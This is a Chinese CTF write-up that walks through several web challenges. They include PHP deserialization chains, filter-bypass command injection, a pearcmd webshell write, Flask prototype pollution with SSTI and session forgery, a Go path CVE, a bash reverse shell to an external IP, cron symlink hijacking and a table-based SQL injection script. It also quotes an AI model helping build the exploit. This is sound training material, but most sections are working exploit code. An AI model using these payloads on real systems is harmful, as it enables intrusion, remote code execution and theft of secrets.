ez_php

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}

if (isset($_POST['data'])) {
$temp = unserialize($_POST['data']);
throw new Exception('What do you want to do?');
} else {
highlight_file(__FILE__);
}
?>

__destruct->__toString->__call,再绕过throw new Exception即可

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 <?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
echo "你是个好人!";
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
echo "你是个坏人!";
echo $name; //ls /
echo $arguments[0]; //诗人我吃!
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}

$a = new GOGOGO();
$a->dengchao = new DouBao();
$a->dengchao->Bagongren = [1];
$a->dengchao->Dagongren = [2];
// $a->dengchao->dao = [new HeiCaFei(), "ls\${IFS}/"];
$a->dengchao->dao = [new HeiCaFei(), "tac\${IFS}/ofl1111111111ove4g"];
$a->dengchao->dao[0]-> HongCaFei = "system";

$b = serialize([$a, 1]);
// echo $b.'<br/>';
$c = str_replace("i:1;i:1;", "i:0;i:1;", $b);
echo $c;
// echo urlencode($c);

if (isset($c)) {
$temp = unserialize($c);
throw new Exception('What do you want to do?');
} else {
highlight_file(__FILE__);
}
?>

另外晨曦爷给出了一些别的方法,拿来学习学习
用原生类绕过 hash 函数,去掉最后一个大括号实现fast destruct,从而绕过 throw 异常抛出
exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei="system";
function __call($name, $arguments){
echo "yes";
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}

$a = new GOGOGO();
$a->dengchao = new DouBao();
$a->dengchao->Dagongren=new Error("test",1);$a->dengchao->Bagongren=new Error("test",2);
$a->dengchao->dao=[new HeiCaFei(),'cat /of*'];
echo urlencode(serialize($a));
// data=O%3A6%3A%22GOGOGO%22%3A1%3A%7Bs%3A8%3A%22dengchao%22%3BO%3A6%3A%22DouBao%22%3A3%3A%7Bs%3A3%3A%22dao%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A8%3A%22HeiCaFei%22%3A1%3A%7Bs%3A9%3A%22HongCaFei%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A8%3A%22cat+%2Fof%2A%22%3B%7Ds%3A9%3A%22Dagongren%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A4%3A%22test%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A31%3A%22G%3A%5Ctools%5Cphpstudy_pro%5CWWW%5C2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A29%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A9%3A%22Bagongren%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A4%3A%22test%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A31%3A%22G%3A%5Ctools%5Cphpstudy_pro%5CWWW%5C2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A29%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

Really_Ez_Rce

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) {
$inputNumber = $_REQUEST['Number'];

if (preg_match('/\d/', $inputNumber)) {
die("不行不行,不能这样");
}

if (intval($inputNumber)) {
echo "OK,接下来你知道该怎么做吗";

if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];

if (!preg_match(
'/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
$cmd
)) {
echo "你传的参数似乎挺正经的,放你过去吧<br>";
system($cmd);
} else {
echo "nonono,hacker!!!";
}
}
}
}

用数组绕过preg_match和intval的判断
http://27.25.151.198:47883/?Number[]=1
之后的命令执行可以拼接+base64来实现,中途发现还可以rev读文件

1
cmd=a=bas;b=e64;c=bas;d=h;echo Y2F0IC9mKg | $a$b -d | $c$d

学到的一些新姿势

1
2
3
4
5
6
7
8
ca$1t可以当成cat用,同理也可以用ca``t

cd /%26%26c$@at `l$@s` //cd /&&c$@at `l$@s`
这个有点猛啊,能把根目录下所有可读的文件读出来

cd /;c``p $(l``s | gr``ep fl) /var/www/html/fla``g_gaiming
然后c``at fla``g_gaiming
这个也很有意思,给flag重命名

DeceptiFlag

第一关提交个答案抓包后发现post里还有个Lang字段,脑洞之后发现是狼的拼音,那么就提交xiyangyang和huitailang即可(怎么这里还有脑洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /index.php?qaq=xiyangyang HTTP/1.1
Host: 27.25.151.198:32874
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://27.25.151.198:32874
Connection: close
Referer: http://27.25.151.198:32874/index.php
Cookie: PHPSESSID=498246c47831d6c8c583349bc967867f; pahint=L3Zhci9mbGFnL2ZsYWcudHh0
Upgrade-Insecure-Requests: 1
Priority: u=0, i

qaq_visible=xiyangyang&Lang=huitailang
在返回包里发现tips.php以及提示了flag路径/var/flag/flag.txt
HTTP/1.1 302 Found
Host: 27.25.151.198:32874
Connection: close
X-Powered-By: PHP/7.0.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: pahint=L3Zhci9mbGFnL2ZsYWcudHh0; expires=Sat, 07-Jun-2025 16:44:53 GMT; Max-Age=3600; path=/
Location: tips.php
Content-type: text/html; charset=UTF-8

tips.php是个简单的文件包含,php伪协议秒了

1
http://27.25.151.198:32874/tips.php?file=php://filter/convert.base64-encode/resource=/var/flag/flag.txt

这题还可以打pearcmd写马直接getshell

1
/tips.php?+config-create+/&file=file:///usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+test.php

奇怪的咖啡店

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0

error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'

products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]

return render_template('index.html',
error_message=error_message,
session=session,
products=products)


def add():
pass


@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;

fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
error_message = ''
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return "该商品违规,无法上传"
json_data = json.loads(raw_data)

if not isinstance(json_data, dict):
return "添加失败1"
merge(json_data, add)
return "你无法添加商品哦"

except (UnicodeDecodeError, json.JSONDecodeError):
return "添加失败2"
except TypeError as e:
return f"添加失败3"
except Exception as e:
return f"添加失败4"
return "添加失败5"

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

app.run(host="0.0.0.0",port=5014)

审计源码,发现/add路由明显存在原型链污染,在测试中发现__init__,__globals__等关键词都被过滤,不过可以用unicode编码绕过
这里有一个比较坑的点,一开始尝试这样子去污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"id":1,
"name":"aaa",
"price":19.99,
"image":"1.png",
"__ini\u0074__":{
"__global\u0073__":{
"\u0061\u0070\u0070":{
"\u0063\u006f\u006e\u0066\u0069\u0067":{
"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"aaa"
}
}
}
}
}

但是一直报错误4,后来本地起环境调试了一下发现报错’method-wrapper’ object has no attribute ‘__globals__‘
问了下DeepseekR1,给了非常有用的回答

1
2
3
4
5
6
7
您的尝试失败是因为在 Python 中直接访问 __init__.__globals__ 存在对象类型不匹配问题。
错误信息 'method-wrapper' object has no attribute '__globals__' 表明 __init__ 被解析为一个方法包装器对象(method-wrapper),而非普通函数对象。
在 Python 中:
__init__ 是类实例的初始化方法,其类型是 method-wrapper,没有 __globals__ 属性
只有函数对象(如 add 函数)才有 __globals__ 属性
正确利用方案(通过污染 SECRET_KEY)
我们可以直接利用 add 函数的 __globals__ 属性修改 app.config,无需通过 __init__。

根据DeepSeekR1的意见,首先成功污染了SECRET_KEY

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"id":1,
"name":"aaa",
"price":19.99,
"image":"1.png",
"__global\u0073__":{
"\u0061\u0070\u0070":{
"\u0063\u006f\u006e\u0066\u0069\u0067":{
"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"aaa"
}
}
}
}

后面尝试将服务器根目录挂载到static目录,成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"id":1,
"name":"aaa",
"price":19.99,
"image":"1.png",
"__global\u0073__":{
"\u0061\u0070\u0070":{
"\u0063\u006f\u006e\u0066\u0069\u0067":{
"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"aaa"
},
"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"\u002f"
}
}
}

最后访问http://27.25.151.198:31465/static/proc/self/environ下载环境变量即可拿到flag

当然,这题还有另一个打法,按上面步骤挂载完后,访问/static/app/app.py,即可得到最终源码

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0

error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'

products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]

return render_template('index.html',
error_message=error_message,
session=session,
products=products)

def add():
pass

@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;

fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return "该商品违规,无法上传"
json_data = json.loads(raw_data)

if not isinstance(json_data, dict):
return "添加失败1"

merge(json_data, add)
return "你无法添加商品哦"

except (UnicodeDecodeError, json.JSONDecodeError):
return "添加失败2"
except TypeError as e:
return f"添加失败3"
except Exception as e:
return f"添加失败4"
return "添加失败5"

@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
if session.get('name') == "admin" and session.get('permission') != 0:
permission = session.get('permission')
if check1(permission):
# 检测添加的商品是否合法
return "非法权限"

if request.method == 'POST':
return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'

upload_form = '''
<h2>商品管理系统</h2>
<form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
<h3>上传新商品</h3>
<input type=file name=file required style="margin:10px"><br>
<small>支持格式:jpg/png(最大2MB)</small><br>
<input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
</form>
'''

original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
new_template = original_template + upload_form

return render_template_string(new_template)
else:
return "<script>alert('You are not an admin');window.location.href='/'</script>"

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def check(raw_data, forbidden_keywords=None):
"""
检查原始数据中是否包含禁止的关键词
如果包含禁止关键词返回 True,否则返回 False
"""
# 设置默认禁止关键词
if forbidden_keywords is None:
forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]

# 检查是否包含任何禁止关键词
return any(keyword in raw_data for keyword in forbidden_keywords)

param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat', 'flag', 'set', 'self', '%', 'file', 'pop(',
'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]

# 增强WAF防护
def waf_check(value):
# 检查是否有不合法的字符
for black in param_black_list:
if black in value:
return False
return True

# 检查是否是自动化工具请求
def is_automated_request():
user_agent = request.headers.get('User-Agent', '').lower()
# 如果是常见的自动化工具的 User-Agent,返回 True
automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
return any(agent in user_agent for agent in automated_agents)

def check1(value):

if is_automated_request():
print("Automated tool detected")
return True

# 使用WAF机制检查请求的合法性
if not waf_check(value):
return True

return False

app.run(host="0.0.0.0",port=5014)

看到original_template = ‘Hello admin!!!Your permissions are{}’.format(permission),可以知道是打ssti,用原型链污染把param_black_list和SECRET_KEY污染掉,最后伪造session即可RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"__globals__":{
"param_black_list":["123"]
}
}

{
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
"\u0070\u0061\u0072\u0061\u006d\u005f\u0062\u006c\u0061\u0063\u006b\u005f\u006c\u0069\u0073\u0074":["123"]
}
}

{
"__globals__":{
"app":{
"config":{
"SECRET_KEY":"123"
}
}
}
}

{
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
"\u0061\u0070\u0070":{
"\u0063\u006f\u006e\u0066\u0069\u0067":{
"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"123"
}
}
}
}

SSTI部分

1
2
3
/aaadminnn
{'name': 'admin', 'permission': '{{self.__init__.__globals__.__builtins__["__import__"]("os").popen("ls /").read()}}'}
.eJwdisEJwzAMAFcpeiWhZICuEhejNEoQ2JKx3Jfx7lH7uzuug2AmeAEemQWeUKhmNmMVj70bpXONkYVbjA5X0h2T_Xn_cmosLlsAf3LR6leA9xRALcC8Fi0kbh9sj-VcfqkSHtM8BowbvmMq-g.aEUwzg.mBiuRSOKBMNSSPfGUTg8XAVIJT0

Watch

一个读取文件的功能,但是直接尝试目录穿越没法进入到D盘
提示注意go的版本后搜到go 1.20.0版本存在CVE-2023-45283
??\c:\x会被当作c:\x
那么就能很轻松的读D盘文件了,本题需要在前面做一次目录穿越即可

payload

1
\..\??\d:\key.txt

[WEB+RE]Just Ping Part 1

逆向分析goweb1 ,暴露两个api: /api/ping 和 /api/testDevelopApi (网页源码中也有)

进一步分析,可以发现两个api共享同一个命令字符串 pool
moran_goweb1_utils_commandString ,复用 *[]string 对象
在网页端可以看到调用 ping 这个 api 有回显,由于 pool 被复用,调用 testDevelopApi后,网页端点击开始, testDevelopApi 的命令可能被 ping 的 api 复用,进而被执行
cmd 限制四段参数,所以用 bash -c 绕过限制,反弹 shell

1
GET /api/testDevelopApi?cmd={{urlenc(bash -c 'bash -i >& /dev/tcp/47.120.14.151/6666 0>&1' 111)}}

多发送几次请求后,网页点击开始Ping,即可反弹shell

1
2
3
/api/testDevelopApi?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%34%37%2e%31%32%30%2e%31%34%2e%31%35%31%2f%36%36%36%36%20%30%3e%26%31%27%20%31%31%31

/api/ping?target=127.0.0.1

[WEB+RE]Just Ping Part 2

反弹shell操作与上题一致

反弹shell后,根据题目给的附件

backup.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

if [ ! -f "backup" ]; then
exit 1
fi

ACTUAL_MD5=$(md5sum "backup" | cut -d' ' -f1)

if [ "$ACTUAL_MD5" = "18ed919aada0f7adca8802acf7b8a4d5" ]; then
backup
exit 0
else
exit 1
fi

先找backup文件

1
2
3
find / -name backup

/usr/local/etc/backup

接着看这个程序,用base64把它弄下来

从 main 函数可分析出主要逻辑为:读取 ../backupList 中的文件路径,将对应文件备份到/var/backups/backup.zip中

ls -l /usr/local ,可以看到/usr/local/etc/ 目录权限是777

那么可以将 backup 移动到 /usr/local/etc/next文件夹中,并在 /usr/local/etc 下创建 backup 的符号链接,并创建 backupList
这样,backup -> /usr/local/etc/backup -> /usr/local/etc/next/backup,定时任务可以正常运行,且 backupList 可控,成功劫持定时任务

1
2
3
4
5
6
7
cd /usr/local/etc/&&mkdir test&&mv backup test&&ln -s test/backup backup&&echo '/root'>backupList

cd /usr/local/etc
mkdir next
mv backup next
ln -s next/backup ./backup
echo "/root/flag" > backupList

等待定时任务执行,用base64去读/var/backups/backup.zip,然后解压即可

1
base64 /var/backups/backup.zip

半成品login

弱口令
admin/admin123

发现password那里过滤了单引号,用反斜杠发现报错了,应该能在这里sql注入
经过尝试,发现能用双重url编码绕过

1
username=admin&password=admin123%2527#

过滤了select,那就用table来注入

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import requests
import time


dict = '0123456789'
for i in range(ord('a'),ord('z')+1):
dict += chr(i)


burp0_url = "http://27.25.151.198:31763/login.php"

burp0_cookies = {"PHPSESSID": "292edf1013fa3e34a5c333e5f526d13a"}
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://27.25.151.198:31240", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://27.25.151.198:31240/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}


# 库名
def database():
res = ''
for _ in range(100):
flag = 1
for i in range(len(dict)):
# time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f"admin123%27and/**/(table/**/information_schema.schemata/**/limit/**/4,1)>=(\"def\",\"{tmp}\",3,4,5,6)#"}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break

def tables():
res = ''
for _ in range(100):
flag = 1
for i in range(len(dict)):
# time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f'admin123%27and/**/("def","hnctfweb","{tmp}","",5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table/**/information_schema.tables/**/limit/**/329,1)#'}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
# print(r)
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break

def data_username():
res = 'hacker'
for _ in range(5):
flag = 1
for i in range(len(dict)):
# time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f'admin123%27and/**/(2,"{tmp}","","")/**/<=/**/(table/**/hnctfweb.hnctfuser/**/limit/**/1,1)#'}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
# print(r)
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break

def data_password(username):
res = ''
for _ in range(100):
flag = 1
for i in range(len(dict)):
# time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f'admin123%27and/**/(2,"{username}","{tmp}","")/**/<=/**/(table/**/hnctfweb.hnctfuser/**/limit/**/1,1)#'}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
# print(r)
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break


# hnctfweb
# database()

# 329
# hnctfuser
# tables()


# data_username()
# hackernbvag, d8578edf845
data_password('hackernbvag')

最终得到账号密码

1
hackernbvag,d8578edf845

登陆得到flag